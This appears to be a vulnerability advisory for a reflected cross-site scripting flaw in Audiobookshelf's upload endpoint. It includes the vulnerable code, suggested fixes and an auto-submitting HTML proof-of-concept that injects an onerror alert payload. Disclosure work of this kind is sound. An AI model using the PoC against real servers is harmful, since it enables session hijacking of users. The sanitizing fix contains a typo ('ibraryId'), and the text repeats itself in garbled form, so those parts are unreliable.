Summary
An improper input handling vulnerability in the /api/upload endpoint allows an attacker to perform a reflected cross-site scripting (XSS) attack by submitting malicious payloads in the libraryId field. The unsanitized input is reflected in the server’s error message, enabling arbitrary JavaScript execution in a victim's browser.
Details
The vulnerable code snippet:
server/controllers/MiscController.js#L35-51
async handleUpload(req, res) {
if (!req.user.canUpload) {
Logger.warn(`User "${req.user.username}" attempted to upload without permission`)
return res.sendStatus(403)
}
if (!req.files) {
Logger.error('Invalid request, no files')
return res.sendStatus(400)
}
const files = Object.values(req.files)
const { title, author, series, folder: folderId, library: libraryId } = req.body
const library = await Database.libraryModel.findByIdWithFolders(libraryId)
if (!library) {
return res.status(404).send(`Library not found with id ${libraryId}`)
}
When a request is made with an invalid libraryId, the server responds with an error message that directly includes the unsanitized value of libraryId. This behavior allows attackers to inject and execute arbitrary JavaScript.
- How to Fix
- Changing the Response Content-Type to
text/plain
By setting the response to text/plain, even if an attacker injects HTML or JavaScript, the browser will not interpret it as executable code:
res.set('Content-Type', 'text/plain')
return res.status(404).send(`Library not found with id ${libraryId}`)
- Sanitize input:
return res.status(404).send(`Library not found with id ${htmlSanitizer.sanitize(ibraryId)}`)
PoC
To reproduce the reflected XSS vulnerability, follow these steps:
- Log in to Audiobookshelf hosted at http://0.0.0.0:13378.
- Navigate to the HTML page that triggers the vulnerability.
- Observe the reflected XSS when the error message with the unsanitized libraryId is displayed.
<html>
<body>
<form action="http://0.0.0.0:13378/api/upload" method="POST" enctype="multipart/form-data" id="csrf_form">
<input type="file" name="file" required><br>
<input type="hidden" name="title" value="sunsec">
<input type="hidden" name="author" value="sunsec">
<input type="hidden" name="series" value="sunsec">
<input type="hidden" name="folder" value="sunsec">
<input type="hidden" name="library" value='<img src=1 onerror=alert("xss-domain::"+document.domain)>'>
<input type="submit" value="submit CSRF">
</form>
<script>
const fileContent = "";
const blob = new Blob([fileContent], { type: 'text/plain' });
const file = new File([blob], "sunsec", { type: "text/plain" });
const fileInput = document.getElementsByName("file")[0];
const dataTransfer = new DataTransfer();
dataTransfer.items.add(file);
fileInput.files = dataTransfer.files;
document.getElementById("csrf_form").submit();
</script>
</body>
</html>
Impact
This is a reflected XSS vulnerability. If exploited, an attacker can execute arbitrary JavaScript in a victim's browser, potentially leading to session hijacking, credential theft, or further exploitation
Summary
An improper input handling vulnerability in the
/api/uploadendpoint allows an attacker to perform a reflected cross-site scripting (XSS) attack by submitting malicious payloads in thelibraryIdfield. The unsanitized input is reflected in the server’s error message, enabling arbitrary JavaScript execution in a victim's browser.Details
The vulnerable code snippet:
server/controllers/MiscController.js#L35-51
When a request is made with an invalid libraryId, the server responds with an error message that directly includes the unsanitized value of libraryId. This behavior allows attackers to inject and execute arbitrary JavaScript.
text/plainBy setting the response to text/plain, even if an attacker injects HTML or JavaScript, the browser will not interpret it as executable code:
PoC
To reproduce the reflected XSS vulnerability, follow these steps:
Impact
This is a reflected XSS vulnerability. If exploited, an attacker can execute arbitrary JavaScript in a victim's browser, potentially leading to session hijacking, credential theft, or further exploitation